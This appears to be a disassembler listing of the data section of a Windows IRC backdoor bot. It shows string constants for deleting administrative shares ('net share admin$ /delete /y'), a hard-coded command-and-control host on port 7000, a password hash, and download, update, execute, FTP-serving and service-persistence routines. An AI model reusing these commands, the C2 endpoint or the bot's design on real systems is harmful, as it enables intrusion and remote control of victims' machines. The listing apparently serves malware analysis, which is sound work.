dd 43B563h, 0FFFFFFFFh, 43B56Eh, 0FFFFFFFFh, 43B516h, 4 dup(0)
dword_4418D8 dd 19930520h, 5, 4418F8h, 5 dup(0) dd 0FFFFFFFFh, 43B5B0h, 0FFFFFFFFh, 43B5B8h, 0FFFFFFFFh
dd 43B5C0h, 0FFFFFFFFh, 43B5C8h, 0FFFFFFFFh, 43B5D0h, 2 dup(0)
dword_441928 dd 19930520h, 15h, 441948h, 5 dup(0) dd 0FFFFFFFFh, 43B5F0h, 0FFFFFFFFh, 43B5FBh, 0FFFFFFFFh
dd 43B603h, 0FFFFFFFFh, 43B60Bh, 0FFFFFFFFh, 43B613h, 0FFFFFFFFh
dd 43B61Bh, 0FFFFFFFFh, 43B626h, 0FFFFFFFFh, 43B62Eh, 0FFFFFFFFh
dd 43B636h, 0FFFFFFFFh, 43B63Eh, 0FFFFFFFFh, 43B646h, 0FFFFFFFFh
dd 43B651h, 0FFFFFFFFh, 43B659h, 0FFFFFFFFh, 43B661h, 0FFFFFFFFh
dd 43B669h, 0FFFFFFFFh, 43B671h, 0FFFFFFFFh, 43B67Ch, 0FFFFFFFFh
dd 43B684h, 0FFFFFFFFh, 43B68Ch, 0FFFFFFFFh, 43B694h, 0FFFFFFFFh
dd 43B69Ch, 6 dup(0)
dword_441A08 dd 19930520h, 1, 441A28h, 5 dup(0) dd 0FFFFFFFFh, 43B6E0h, 2 dup(0)
dword_441A38 dd 19930520h, 5, 441A58h, 5 dup(0) dd 0FFFFFFFFh, 43B700h, 0
dd offset loc_43B708
dd 1, 43B713h, 2, 43B71Eh, 3, 43B729h, 2 dup(0)
dword_441A88 dd 19930520h, 5, 441AA8h, 5 dup(0) dd 0FFFFFFFFh, 43B750h, 0
dd offset loc_43B758
dd 1, 43B763h, 2, 43B76Eh, 3, 43B779h, 2 dup(0)
dword_441AD8 dd 19930520h, 1, 441AF8h, 5 dup(0) dd 0FFFFFFFFh, 43B7A0h, 2 dup(0)
dword_441B08 dd 19930520h, 1, 441B28h, 5 dup(0) dd 0FFFFFFFFh, 43B7C0h, 2 dup(0)
dword_441B38 dd 19930520h, 1, 441B58h, 5 dup(0) dd 0FFFFFFFFh, 43B7E0h, 2 dup(0)
dword_441B68 dd 19930520h, 1, 441B88h, 5 dup(0) dd 0FFFFFFFFh, 43B800h, 2 dup(0)
dword_441B98 dd 19930520h, 1, 441BB8h, 5 dup(0) dd 0FFFFFFFFh, 43B820h, 2 dup(0)
dword_441BC8 dd 19930520h, 1, 441BE8h, 5 dup(0) dd 0FFFFFFFFh, 43B840h, 2 dup(0)
dword_441BF8 dd 19930520h, 1, 441C18h, 5 dup(0) dd 0FFFFFFFFh, 43B860h, 2 dup(0)
dword_441C28 dd 19930520h, 1, 441C48h, 5 dup(0) dd 0FFFFFFFFh, 43B880h, 2 dup(0)
dword_441C58 dd 19930520h, 6, 441C78h, 5 dup(0) dd 0FFFFFFFFh, 43B8A0h, 0
dd offset loc_43B8A8
dd 1, 43B8B3h, 2, 43B8BEh, 3, 43B8C9h, 4, 43B8D4h, 2 dup(0)
dword_441CB0 dd 19930520h, 6, 441CD0h, 5 dup(0) dd 0FFFFFFFFh, 43B900h, 0
dd offset loc_43B908
dd 1, 43B913h, 2, 43B91Eh, 3, 43B929h, 4, 43B934h, 2 dup(0)
dword_441D08 dd 19930520h, 3, 441D28h, 5 dup(0) dd 0FFFFFFFFh, 43B960h, 0
dd offset loc_43B968
dd 1, 43B976h, 2 dup(0)
dword_441D48 dd 19930520h, 16h, 441D68h, 5 dup(0) dd 0FFFFFFFFh, 43B9A0h, 0
dd offset loc_43B9AB
dd 1, 43B9B6h, 2, 43B9C1h, 2, 43B9CCh, 2, 43B9D7h, 2, 43B9E2h
dd 6, 43B9EDh, 2, 43B9F8h, 8, 43BA03h, 2, 43BA0Eh, 0Ah
dd 43BA19h, 2, 43BA24h, 0Ch, 43BA2Fh, 0Dh, 43BA3Ah, 0Eh
dd 43BA45h, 0Fh, 43BA50h, 0Fh, 43BA5Bh, 0Fh, 43BA66h, 0Fh
dd 43BA71h, 0Fh, 43BA7Ch, 0Fh, 43BA87h, 6 dup(0)
dword_441E30 dd 19930520h, 1, 441E50h, 5 dup(0) dd 0FFFFFFFFh, 43BAE0h, 2 dup(0)
dword_441E60 dd 19930520h, 1, 441E80h, 5 dup(0) dd 0FFFFFFFFh, 43BB00h, 2 dup(0)
dword_441E90 dd 19930520h, 1, 441EB0h, 5 dup(0) dd 0FFFFFFFFh, 43BB20h, 2 dup(0)
dword_441EC0 dd 19930520h, 1, 441EE0h, 5 dup(0) dd 0FFFFFFFFh, 43BB40h, 2 dup(0)
dword_441EF0 dd 19930520h, 1, 441F10h, 5 dup(0) dd 0FFFFFFFFh, 43BB60h, 2 dup(0)
dword_441F20 dd 19930520h, 2, 441F40h, 1, 441F50h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441F68h, 4 dup(0)
dd offset loc_42AF54
align 10h
dword_441F80 dd 19930520h, 2, 441FA0h, 1, 441FB0h, 3 dup(0) dd 0FFFFFFFFh, 0
dd 0FFFFFFFFh, 3 dup(0)
dd 2 dup(1), 441FC8h, 4 dup(0)
dd offset loc_42B031
align 10h
dword_441FE0 dd 19930520h, 3, 442000h, 5 dup(0) dd 0FFFFFFFFh, 43BBA0h, 0
dd offset loc_43BBA8
dd 1, 43BBB0h, 2 dup(0)
dword_442020 dd 19930520h, 1, 442040h, 5 dup(0) dd 0FFFFFFFFh, 43BBE0h, 2 dup(0)
dword_442050 dd 19930520h, 1, 442070h, 5 dup(0) dd 0FFFFFFFFh, 43BC00h, 2 dup(0)
dword_442080 dd 19930520h, 1, 4420A0h, 5 dup(0) dd 0FFFFFFFFh, 43BC20h, 2 dup(0)
dword_4420B0 dd 19930520h, 1, 4420D0h, 5 dup(0) dd 0FFFFFFFFh, 43BC40h, 2 dup(0)
dword_4420E0 dd 19930520h, 1, 442100h, 5 dup(0) dd 0FFFFFFFFh, 43BC60h, 2 dup(0)
dword_442110 dd 19930520h, 6, 442130h, 5 dup(0) dd 0FFFFFFFFh, 43BC80h, 0FFFFFFFFh, 43BC88h, 0FFFFFFFFh
dd 43BC90h, 0FFFFFFFFh, 43BC98h, 0FFFFFFFFh, 43BCA0h, 0FFFFFFFFh
dd 43BCA8h, 2 dup(0)
dword_442168 dd 19930520h, 16h, 442188h, 5 dup(0) dd 0FFFFFFFFh, 43BCD0h, 0FFFFFFFFh, 43BCDBh, 0FFFFFFFFh
dd 43BCE3h, 0FFFFFFFFh, 43BCEBh, 0FFFFFFFFh, 43BCF3h, 0FFFFFFFFh
dd 43BCFEh, 0FFFFFFFFh, 43BD06h, 0FFFFFFFFh, 43BD0Eh, 0FFFFFFFFh
dd 43BD16h, 0FFFFFFFFh, 43BD21h, 0FFFFFFFFh, 43BD29h, 0FFFFFFFFh
dd 43BD31h, 0FFFFFFFFh, 43BD3Ch, 0FFFFFFFFh, 43BD44h, 0Dh
dd 43BD4Ch, 0Eh, 43BD54h, 0Eh, 43BD5Ch, 0Eh, 43BD64h, 0Eh
dd 43BD6Ch, 12h, 43BD74h, 13h, 43BD7Ch, 0Eh, 43BD7Ch, 6 dup(0)
dword_442250 dd 19930520h, 2, 442270h, 5 dup(0) dd 0FFFFFFFFh, 43BDC0h, 0FFFFFFFFh, 43BDC8h, 2 dup(0)
dword_442288 dd 19930520h, 2, 4422A8h, 5 dup(0) dd 0FFFFFFFFh, 43BDE0h, 0
dd offset loc_43BDEB
align 10h
dword_4422C0 dd 19930520h, 1, 4422E0h, 5 dup(0) dd 0FFFFFFFFh, 43BE10h, 2 dup(0)
dword_4422F0 dd 19930520h, 2, 442310h, 5 dup(0) dd 0FFFFFFFFh, 43BE30h, 0FFFFFFFFh, 43BE38h, 2 dup(0)
dword_442328 dd 19930520h, 0Ah, 442348h, 5 dup(0) dd 0FFFFFFFFh, 43BE50h, 0FFFFFFFFh, 43BE5Bh, 0FFFFFFFFh
dd 43BE66h, 0FFFFFFFFh, 43BE71h, 0FFFFFFFFh, 43BE7Ch, 0FFFFFFFFh
dd 43BE87h, 0FFFFFFFFh, 43BE92h, 0FFFFFFFFh, 43BE9Dh, 0FFFFFFFFh
dd 43BEA8h, 0FFFFFFFFh, 43BEB3h, 35Bh dup(0)
dd offset aRrrrrrrrrrrrrr+1Fh
dd 106h dup(0)
aABCDEFGHIJKLMN db 'a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t|u|v|w|x|y|z|A|B|C|D|E|F|G'
; DATA XREF: sub_4034E0+7Fo
db '|H|I|J|K|L|M|N|O|P|Q|R|S|T|U|V|W|X|Y|Z|!|?|#|$|%|^|&|*|(|)|_|+|[|'
db '`|]|0|1|2|3|4|5|6|7|8|9| |.|\|-|/|:|"|@',0
align 4
dd 8 dup(0)
asc_4435EC: ; DATA XREF: sub_4034E0+66o
; sub_40FF60:loc_41083Eo ...
unicode 0, <|>,0
aS db '%s',0 ; DATA XREF: sub_403FC0+4CDo
; sub_404C70+875o ...
align 4
aSS_0 db '%s %s',0Dh,0Ah,0 ; DATA XREF: sub_403FC0+48Eo
; sub_404C70+831o ...
align 10h
asc_443600: ; DATA XREF: sub_404640:loc_40471Fo
; sub_404640+1EDo ...
unicode 0, < >,0
aO db ' -o',0 ; DATA XREF: sub_404640+75o
; sub_40FF60:loc_410949o ...
aNetShareAdminD db 'net share admin$ /delete /y',0
dd 2 dup(0)
aNetShareIpcDel db 'net share ipc$ /delete /y',0
align 4
dd 0
aNetShareDDelet db 'net share d$ /delete /y',0
align 8
aNetShareCDelet db 'net share c$ /delete /y',0
dd 0
dword_443684 dd 255C7325h, 73h ; sub_40CF60+DEo ...
aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_404C70+D78o
align 8
aN: ; DATA XREF: sub_404C70+D23o
unicode 0, <N>,0
aExecutedS_ db 'Executed: %s.',0 ; DATA XREF: sub_404C70+977o
align 4
aResolve_errorS db 'resolve.error %s.',0 ; DATA XREF: sub_404C70+75Fo
align 10h
dd 0
aSS_1 db '%s -> %s',0 ; DATA XREF: sub_404C70+6D2o
align 10h
aSResolvedS db '%s resolved %s',0 ; DATA XREF: sub_404C70+613o
align 10h
dd 0
aOpen db 'open',0 ; DATA XREF: sub_404C70+447o
; sub_41C030+Eo
align 4
aExec_error db 'exec.error',0 ; DATA XREF: sub_404C70+1A3o
; sub_404C70+9B1o ...
align 4
dd 0
aUpDdDhDm db 'up: %dd %dh %dm',0 ; DATA XREF: sub_4066E0+C3o
align 10h
aCpuDmhz_Memory db 'CPU: %dMHz. Memory: %dMB/%dMB. OS: Win %s (%d.%d, Build %d). upti'
; DATA XREF: sub_406890+20Fo
db 'me: %dd %dh %dm box: %s. user: %s.',0
dd 5 dup(0)
aSS_2 db '%s [%s]',0 ; DATA XREF: sub_406890+125o
dd 0
a??? db '???',0 ; DATA XREF: sub_406890:loc_40698Bo
a2003 db '2003',0 ; DATA XREF: sub_406890+F4o
align 10h
aXp db 'XP',0 ; DATA XREF: sub_406890+EAo
align 4
a2000 db '2000',0 ; DATA XREF: sub_406890+DEo
align 4
aMe db 'ME',0 ; DATA XREF: sub_406890+C7o
align 10h
a98 db '98',0 ; DATA XREF: sub_406890+BBo
align 4
aNt db 'NT',0 ; DATA XREF: sub_406890+AFo
align 4
a95 db '95',0 ; DATA XREF: sub_406890+9Co
align 4
aBai db '-bai',0 ; DATA XREF: sub_406C30:loc_406DEDo
; sub_406C30+205o
align 4
aNetsvcs db '-netsvcs',0 ; DATA XREF: sub_406C30:loc_406DB0o
; sub_40EC30+88o
align 10h
aUpdate db '-update',0 ; DATA XREF: sub_406C30+143o
dd 0
dword_4437EC dd 6265642Dh, 6775hdword_4437F4 dd 6425h ; ___:004086ECo ...
dword_4437F8 dd 40h ; sub_40FF60+7CCo ...
dword_4437FC dd 20544F48h, 53584946h, 0aTsinternetuser db 'TsInternetUser',0 ; DATA XREF: sub_407790+386o
align 4
dd 0
aAdmin_com db 'admin.com',0 ; DATA XREF: sub_407790+375o
align 4
aE10adc3949ba59 db 'E10ADC3949BA59ABBE56E057F20F883E',0 ; DATA XREF: sub_407790+364o
align 10h
aAbosal7 db 'abosal7',0 ; DATA XREF: sub_407790+353o
dd 0
aTahy db 'TAHY-',0 ; DATA XREF: sub_407790+345o
align 4
aHoewrt db 'hoewrt',0 ; DATA XREF: sub_407790+334o
align 4
aHotfixs_exe db 'hotfixs.exe',0 ; DATA XREF: sub_407790+323o
dd 0
aServec db 'servec',0 ; DATA XREF: sub_407790+312o
align 4
aS_1 db '#s',0 ; DATA XREF: sub_407790+301o
align 4
aScop db '#scop#',0 ; DATA XREF: sub_407790+2F0o
align 10h
a7000 db '7000',0 ; DATA XREF: sub_407790+298o
align 4
aScorti1_dns2go db 'scorti1.dns2go.com',0 ; DATA XREF: sub_407790+280o
; sub_407790+2BAo
align 10h
off_4438B0 dd offset off_43E1D4 ; DATA XREF: ___:0043F00Co
align 8
a_?avexception@ db '.?AVexception@@',0
align 10h
off_4438D0 dd offset off_43E1D4 ; DATA XREF: ___:0043F02Co
align 8
a_?avlogic_erro db '.?AVlogic_error@std@@',0
align 10h
dd 2 dup(0)
off_4438F8 dd offset off_43E1D4 ; DATA XREF: ___:0043F04Co
align 10h
a_?avout_of_ran db '.?AVout_of_range@std@@',0
align 10h
aInvalidVectorT db 'invalid vector<T> subscript',0 ; DATA XREF: ___:004095A1o
; ___:0040A971o
dd 2 dup(0)
aTrue db 'true',0 ; DATA XREF: sub_40B680+3Fo
; sub_40B700+43o ...
align 4
aF db '%f',0 ; DATA XREF: ___:0040B79Fo
align 10h
aFalse db 'false',0 ; DATA XREF: ___:0040B844o
align 4
aSSWasS db '%s = "%s" [was "%s"]',0 ; DATA XREF: ___:0040BB5Ao
align 10h
dd 0
aSS_5 db '%s = "%s"',0 ; DATA XREF: ___:0040BA77o
align 10h
aDSSS db '[%d] "%s" = "%s" ("%s")',0 ; DATA XREF: ___:0040B9B1o
dd 0
aCvar db '(cvar)',0 ; DATA XREF: ___:0040B924o
align 4
aDccSocketError db 'dcc: socket error',0 ; DATA XREF: sub_40C400+52Ao
align 4
dd 0
aDccCompleteToS db 'dcc: complete to %s, file: %s, (%d bytes)',0
; DATA XREF: sub_40C400+48Ao
align 10h
aDccUnableToOpe db 'dcc: unable to open socket',0 ; DATA XREF: sub_40C400+377o
align 10h
aDccTimeout db 'dcc: timeout',0 ; DATA XREF: sub_40C400+327o
align 10h
dword_443A20 dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
; DATA XREF: sub_40C400+296o
dd 169h, 0
aDccFileDoesn_0 db '[DCC]: File doesn',27h,'t exist.',0 ; DATA XREF: sub_40C400+230o
align 4
dd 0
aDccFileDoesnTE db 'dcc: file doesn',27h,'t exist',0 ; DATA XREF: sub_40C400+218o
align 8
aDccFailedToOpe db 'dcc: failed to open socket',0 ; DATA XREF: sub_40C400+1BBo
align 8
aDccFailedToBin db 'dcc: failed to bind socket',0 ; DATA XREF: sub_40C400+110o
align 8
aDccFailedToCre db '[DCC]: Failed to create socket.',0 ; DATA XREF: sub_40C400+B8o
align 10h
aFilesFoundD db 'Files Found: %d',0 ; DATA XREF: sub_40CBB0+1B1o
dd 0
asc_443AF4: ; DATA XREF: sub_40CBB0+113o
; sub_4200F0+100o
unicode 0, <\>,0
aFoundSS db 'Found: %s\%s',0 ; DATA XREF: sub_40CF60+115o
align 4
aS_2 db '%s\*',0 ; DATA XREF: sub_40CF60+1Fo
align 10h
aExplorer_exe db '\explorer.exe',0 ; DATA XREF: ___:0040D479o
align 10h
aBai_0 db ' -bai ',0
align 4
aSCS db '%s%c%s',0
align 10h
aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40D580+D1o
align 10h
aProcess32first db 'Process32First',0 ; DATA XREF: sub_40D580+C4o
align 10h
dd 0
aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40D580+B7o
align 10h
dd 0
aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40D580+AFo
align 10h
aKernel32_dll_0 db 'kernel32.dll',0 ; DATA XREF: sub_40D580+98o
align 10h
aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_40DB40+4DCo
align 4
dd 0
aSSSSSSSSSS db '%s',0Dh,0Ah ; DATA XREF: sub_40DB40+381o
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah
db '%s',0Dh,'%s',0Dh,0Ah,0
align 4
dd 2 dup(0)
aSS_4 db '"%s" %s',0 ; DATA XREF: sub_40ED70+6Ao
align 8
aServicesactive db 'ServicesActive',0 ; DATA XREF: sub_40ED70+21o
; sub_40EF90+Ao ...
align 4
dd 0
aServDelS_ db 'serv(del) "%s".',0 ; DATA XREF: ___:0040F441o
align 10h
aServAddSAsSS_ db 'serv(add) "%s" as ""%s" %s".',0 ; DATA XREF: ___:0040F384o
align 10h
dd 0
aRegDelS_ db 'reg(del) "%s".',0 ; DATA XREF: ___:0040F289o
align 8
aRegAddSAsS_ db 'reg(add) "%s" as "%s".',0 ; DATA XREF: ___:0040F1DDo
align 10h
dd 0
asc_443C74 db ' :',0 ; DATA XREF: sub_40FF60+E2Bo
; sub_40FF60+1118o ...
align 4
asc_443C78: ; DATA XREF: sub_40FF60+CACo
; sub_40FF60+D15o ...
unicode 0, <!>,0
aN_0 db ' -n',0 ; DATA XREF: sub_40FF60:loc_410928o
; sub_40FF60:loc_410BB7o
aS_3 db ' -s',0 ; DATA XREF: sub_40FF60:loc_4108FFo
; sub_40FF60:loc_410B96o
asc_443C84: ; DATA XREF: sub_40FF60+871o
; sub_40FF60:loc_410BD8o ...
unicode 0, <:>,0
aSSS_0 db '%s %s %s',0Dh,0Ah,0 ; DATA XREF: sub_40FF60+65Do
; sub_40FF60+732o ...
align 8
aSSSS00S db '%s %s',0Dh,0Ah ; DATA XREF: sub_40FF60+355o
db '%s %s 0 0 :%s',0Dh,0Ah,0
align 10h
dd 0
aD_D_D_D db '%d.%d.%d.%d',0 ; DATA XREF: sub_40FF60+2C4o
; sub_4126B0+91o ...
dd 0
dword_443CC4 dd 25207325h, 73252073h, 0D732520h, 0Ahdword_443CD4 dd 0A0D7325h, 0 ; sub_42D1A0+71o
dword_443CDC dd 25207325h, 253A2073h, 0A0D73h, 0 ; sub_412970+8Fo
dword_443CEC dd 4255505Bh, 5D43494Ch, 0dword_443CF8 dd 4952505Bh, 45544156h, 5Dhdword_443D04 dd 202Eh ; sub_4126B0+E5o
dword_443D08 dd 3A6E616Ch, 20haUptime db 'uptime',0 ; DATA XREF: ___:loc_412F27o
align 4
aHost db 'host',0 ; DATA XREF: ___:loc_412ED4o
align 10h
aId db 'id',0 ; DATA XREF: ___:loc_412E7Ao
align 4
asc_443D24: ; DATA XREF: ___:loc_412E63o
dw 3Ch
unicode 0, <>,0
asc_443D28: ; DATA XREF: ___:loc_412E4Co
dw 3Eh
unicode 0, <>,0
asc_443D2C db '==',0 ; DATA XREF: ___:loc_412E35o
align 10h
asc_443D30 db '!=',0 ; DATA XREF: ___:00412E21o
align 4
a2_2x db '%2.2X',0 ; DATA XREF: sub_4137E0+B7o
align 4
aSS_6 db '%s: %s',0 ; DATA XREF: sub_4192C0+312o
; ___:00434A08o ...
align 4
aSD_0 db '%s: %d',0 ; DATA XREF: sub_4192C0+2EAo
align 4
aSD_1 db '%s:%d',0 ; DATA XREF: sub_4192C0+272o
; sub_4192C0+297o
align 4
aListening db 'listening',0 ; DATA XREF: sub_4192C0+210o
align 10h
aEstablished db 'established',0 ; DATA XREF: sub_4192C0+205o
align 10h
off_443D70 dd offset dword_504354 ; DATA XREF: sub_4192C0+140o
; ___:0042B302o ...
dword_443D74 dd 2D464544h, 504354h, 0 ; sub_4192C0+12Eo
dword_443D80 dd 652Dh dword_443D84 dd 6C2Dh a_2d_2d4d_2d_2d db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_419AE0+82o
align 10h
aSS_3 db '%s%s',0 ; DATA XREF: ___:00419CF1o
align 4
aSSS db '%s%s%s',0 ; DATA XREF: ___:00419CCCo
align 10h
byte_443DC0 db 1 ; DATA XREF: sub_41A290r
align 4
dword_443DC4 dd 2Eh ; ___:0041B235o ...
dword_443DC8 dd 30B0005h, 10h, 48h, 1, 16D016D0h, 0 dd 1, 10000h, 0AFA8BD80h, 11C97D8Ah, 8F4BEh, 8929102Bh
dd 1, 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_443E14 dd 975201B0h, 11D059CAh, 0A000D5A8h, 51800DC9h, 0dword_443E28 dd 1D55B526h, 46C5C137h, 8F6379ABh, 69E8682Ah, 0dword_443E3C dd 3000005h, 10h, 18h, 1, 0Ah dup(0)dword_443E74 dd 63257325h, 0 ; sub_41F860+E5o
dword_443E7C dd 72h ; ___:00434C98o ...
dword_443E80 dd 30h ; sub_424840+327o
dword_443E84 dd 3039h dword_443E88 dd 383631h dword_443E8C dd 323931h dword_443E90 dd 3631h dword_443E94 dd 323731h dword_443E98 dd 3031h off_443E9C dd offset loc_5C005C ; DATA XREF: ___:0041C117r
; ___:0041C287r
word_443EA0 dw 0 ; DATA XREF: ___:0041C121r
; ___:0041C291r
align 4
off_443EA4 dd offset dword_49005C ; DATA XREF: ___:0041C0E6r
; ___:0041C256r
dword_443EA8 dd 430050h ; ___:0041C25Br
dword_443EAC dd 24h ; ___:0041C27Fr
dd 0
aDlEdUpdateS db 'dl',27h,'ed-update: %s',0 ; DATA XREF: sub_41D830+5F5o
align 4
aOpenS_ db 'open %s.',0 ; DATA XREF: sub_41D830+5BAo
align 4
aDlDone_S_ db 'dl, done. %s .',0 ; DATA XREF: sub_41D830+567o
align 8
asc_443EE8 db 0Dh,0Ah ; DATA XREF: sub_41D830+48Fo
db 0Dh,0Ah,0
align 10h
aHttpBadopen db 'http(badopen)',0 ; DATA XREF: sub_41D830+3F1o
align 10h
aWb db 'wb',0 ; DATA XREF: sub_41D830+3C0o
; ___:0041FC87o
align 4
aHttpGetting db 'http(getting)',0 ; DATA XREF: sub_41D830+3AFo
align 4
aGetSHttp1_0Con db 'GET %s HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_41D830+36Do
db 'Connection: Keep-Alive',0Dh,0Ah
db 'User-Agent: Mozilla/4.5',0Dh,0Ah
db 'Host: %s:%d',0Dh,0Ah
db 0Dh,0Ah,0
align 4
dd 4 dup(0)
aHttpBadconnect db 'http(badconnect)',0 ; DATA XREF: sub_41D830+327o
align 4
aFtpBaddl db 'ftp(baddl)',0 ; DATA XREF: sub_41D830+2A3o
align 4
dd 0
aFtpGetting db 'ftp(getting)',0 ; DATA XREF: sub_41D830+25Ao
align 4
aFtpBadlogin db 'ftp(badlogin)',0 ; DATA XREF: sub_41D830+224o
align 4
aFtpBadconnect db 'ftp(badconnect)',0 ; DATA XREF: sub_41D830+1CEo
align 10h
aSysLogoff db 'sys(logoff)',0 ; DATA XREF: ___:0041E37Eo
align 10h
aSysSd db 'sys(sd)',0 ; DATA XREF: ___:0041E32Fo
dd 0
dword_443FEC dd 28737973h, 6F626572h, 29746Fh, 0dword_443FFC dd 6469706Bh, 7325203Ah, 0dword_444008 dd 203A736Bh, 7325hdword_444010 dd 202E6425h, 7325202Fh, 0dword_44401C dd 203A706Bh, 7325haD_PidDS db '%d. - Pid: %d - "%s"',0 ; DATA XREF: sub_41E660+130o
align 10h
a221 db '221 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+694o
; sub_41EF30+6A9o
align 4
a226 db '226 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30:loc_41F595o
; sub_41EF30+677o
align 10h
aFtpD_D_D_DDByt db 'ftp: %d.%d.%d.%d -> (%d bytes) (total sends: %d)',0
; DATA XREF: sub_41EF30+62Bo
align 4
dd 2 dup(0)
aRb db 'rb',0 ; DATA XREF: sub_41EF30+53Fo
align 10h
a150 db '150 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+505o
; sub_41EF30+51Ao
align 4
asc_444098: ; DATA XREF: sub_41EF30+2EFo
; sub_41EF30+33Ao ...
unicode 0, <,>,0
a200 db '200 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+286o
; sub_41EF30+29Bo ...
align 4
a230 db '230 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+254o
; sub_41EF30+269o
align 4
a331 db '331 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+222o
; sub_41EF30+237o
align 4
a220 db '220 ',0Dh,0Ah,0 ; DATA XREF: sub_41EF30+1F3o
; sub_41EF30+205o
align 4
aFtpD_D_D_DOnD db 'ftp: %d.%d.%d.%d on %d',0 ; DATA XREF: sub_41EF30+17Eo
align 8
aDDUseridUnixS db '%d, %d : USERID : UNIX : %s',0Dh,0Ah,0 ; DATA XREF: sub_41F860+13Co
align 4
dd 0
aBinres db 'BINRES',0 ; DATA XREF: ___:0041FCBDo
align 4
aUnknown db 'unknown',0 ; DATA XREF: sub_41FF90:loc_41FFE5o
; sub_420530+C4r ...
align 10h
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4200F0+CBo
; sub_4207E0+316o
align 4
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\%s',0 ; DATA XREF: sub_4200F0+73o
; sub_4207E0+2BEo
align 8
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_4203D0+63o
align 4
aGetmodulefilen db 'GetModuleFileNameExA',0 ; DATA XREF: sub_420530+72o
align 8
aEnumprocessmod db 'EnumProcessModules',0 ; DATA XREF: sub_420530+64o
align 10h
aEnumprocesses db 'EnumProcesses',0 ; DATA XREF: sub_420530+52o
align 10h
aPsapi_dll db 'PSAPI.DLL',0 ; DATA XREF: sub_420530+20o
; sub_420530+34o
align 4
aSS db '[%s] [%s]',0 ; DATA XREF: sub_4207E0+34Co
align 4
aS????_exe db '[%s] [????.exe]',0 ; DATA XREF: sub_4207E0+32Do
dd 0
aS????_exeUnkno db '[%s] [????.exe] (Unknown key)',0 ; DATA XREF: sub_4207E0+2F3o
align 10h
aThemes db 'Themes',0 ; DATA XREF: sub_4207E0+1F6o
align 4
aSrservice db 'srservice',0 ; DATA XREF: sub_4207E0+1EBo
align 4
aWuauserv db 'wuauserv',0 ; DATA XREF: sub_4207E0+1E0o
align 10h
aWzcsvc db 'WZCSVC',0 ; DATA XREF: sub_4207E0+1D5o
align 4
aWinmgmt db 'winmgmt',0 ; DATA XREF: sub_4207E0+1CAo
dd 0
aWebclient db 'WebClient',0 ; DATA XREF: sub_4207E0+1BFo
align 10h
aW32time db 'W32Time',0 ; DATA XREF: sub_4207E0+1B4o
dd 0
aUpnphost db 'upnphost',0 ; DATA XREF: sub_4207E0+1A9o
align 4
aUploadmgr db 'uploadmgr',0 ; DATA XREF: sub_4207E0+19Eo
align 4
aTrkwks db 'TrkWks',0 ; DATA XREF: sub_4207E0+193o
align 4
aTermservice db 'TermService',0 ; DATA XREF: sub_4207E0+188o
dd 0
aTapisrv db 'TapiSrv',0 ; DATA XREF: sub_4207E0+17Do
align 8
aStisvc db 'stisvc',0 ; DATA XREF: sub_4207E0+172o
align 10h
aSsdpsrv db 'SSDPSRV',0 ; DATA XREF: sub_4207E0+167o
dd 0
aSpooler db 'Spooler',0 ; DATA XREF: sub_4207E0+15Co
align 8
aShellhwdetecti db 'ShellHWDetection',0 ; DATA XREF: sub_4207E0+151o
align 4
aSens db 'SENS',0 ; DATA XREF: sub_4207E0+146o
align 4
aSeclogon db 'seclogon',0 ; DATA XREF: sub_4207E0+13Bo
align 10h
aSchedule db 'Schedule',0 ; DATA XREF: sub_4207E0+130o
align 4
aSamss db 'SamSs',0 ; DATA XREF: sub_4207E0+125o
align 4
aRpcss db 'RpcSs',0 ; DATA XREF: sub_4207E0+11Ao
align 4
aRasman db 'RasMan',0 ; DATA XREF: sub_4207E0+10Fo
align 4
aProtectedstora db 'ProtectedStorage',0 ; DATA XREF: sub_4207E0+104o
align 4
aPolicyagent db 'PolicyAgent',0 ; DATA XREF: sub_4207E0+F9o
align 8
aPlugplay db 'PlugPlay',0 ; DATA XREF: sub_4207E0+EEo
align 4
off_444314 dd offset word_616C4E ; DATA XREF: sub_4207E0+E3o
aNetman db 'Netman',0 ; DATA XREF: sub_4207E0+D8o
align 10h
aMessenger db 'Messenger',0 ; DATA XREF: sub_4207E0+CDo
align 4
off_44432C dd offset byte_4D444D ; DATA XREF: sub_4207E0+C5o
aLmhosts db 'LmHosts',0 ; DATA XREF: sub_4207E0+BDo
dd 0
aLanmanworkstat db 'lanmanworkstation',0 ; DATA XREF: sub_4207E0+B5o
align 10h
dd 0
aLanmanserver db 'lanmanserver',0 ; DATA XREF: sub_4207E0+ADo
align 4
aHelpsvc db 'helpsvc',0 ; DATA XREF: sub_4207E0+A5o
align 10h
aFastuserswitch db 'FastUserSwitchingCompatibility',0 ; DATA XREF: sub_4207E0+9Do
align 10h
dd 2 dup(0)
aEventsystem db 'EventSystem',0 ; DATA XREF: sub_4207E0+95o
align 8
aEventlog db 'Eventlog',0 ; DATA XREF: sub_4207E0+8Do
align 4
aErsvc db 'ERSvc',0 ; DATA XREF: sub_4207E0+85o
align 4
aDnscache db 'Dnscache',0 ; DATA XREF: sub_4207E0+7Do
align 4
aDmserver db 'dmserver',0 ; DATA XREF: sub_4207E0+75o
align 4
aDhcp db 'Dhcp',0 ; DATA XREF: sub_4207E0+6Do
align 4
